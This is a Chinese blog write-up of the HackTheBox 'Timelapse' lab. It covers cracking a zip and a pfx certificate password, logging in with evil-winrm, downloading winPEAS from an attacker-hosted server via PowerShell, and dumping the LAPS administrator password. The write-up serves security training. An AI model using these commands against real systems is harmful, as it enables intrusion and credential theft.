HackTheBox 靶场 Timelapse

一、信息收集及利用

1.使用nmap对目标靶机进行端口扫描

image

发现开了不少端口,首先得知这是台windows服务器。其次,53上的 Domain,88 上的 kerberos-sec 和 389 的ldap 得知有域。

2. 445 端口

先看看 445 中有什么:

image

看下 Shares 文件夹下有什么:

image

发现不少东西,先都下载下来看一下,有个压缩包需要密码,暴力破解一下:

image

解出来一个 pfx 文件,打开了一下发现是需要密码,那就用 crackpkcs12 破解一下:

image

得到密码。得到密码后可以分离出来证书、私钥、公钥:

提取出证书:

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem

image

把证书复制出来单独保存,或者使用 openssl 分离出来:

openssl x509 -in certificate.pem -out certificate.crt

image

提取出私钥和公钥,先提取出密钥对:

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out pair.key

image

从密钥对中提取私钥和公钥:

openssl rsa -in pair.key -out pri.key

openssl rsa -in pair.key -pubout -out pub.key

image

使用证书和私钥通过 SSL 执行身份验证,使用 evil-winrm:

image

连接到靶机,第一个 flag 在Desktop 中。

二、提权

查看用户权限:

image

查看一下当前用户:

image

下载 winpeas 跑一下:

powershell (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.32:8000/winpeas.exe','C:\Users\legacyy\Documents\winpeas.exe')

.\winpeas.exe > out.txt

image

没发现什么提权点,不过看到了有 Powershell 的历史文件:

image

查看一下:

image

是命令和一点脚本,尝试运行一下脚本:

image

发现 whoami 是 svc_deploy 用户,那查看一下这个用户的权限等信息:

image

发现是 LAPS_Readers 组的用户,那提取一下密码:

invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}

image

得到本地用户 Administrator 的密码,evil-winrm 再次连接一下:

image

得到 Administrator 用户,flag 再 C:\Users\TRX\Desktop 下。

posted @ 2022-06-15 16:35  sainet  阅读(493)  评论(1编辑  收藏  举报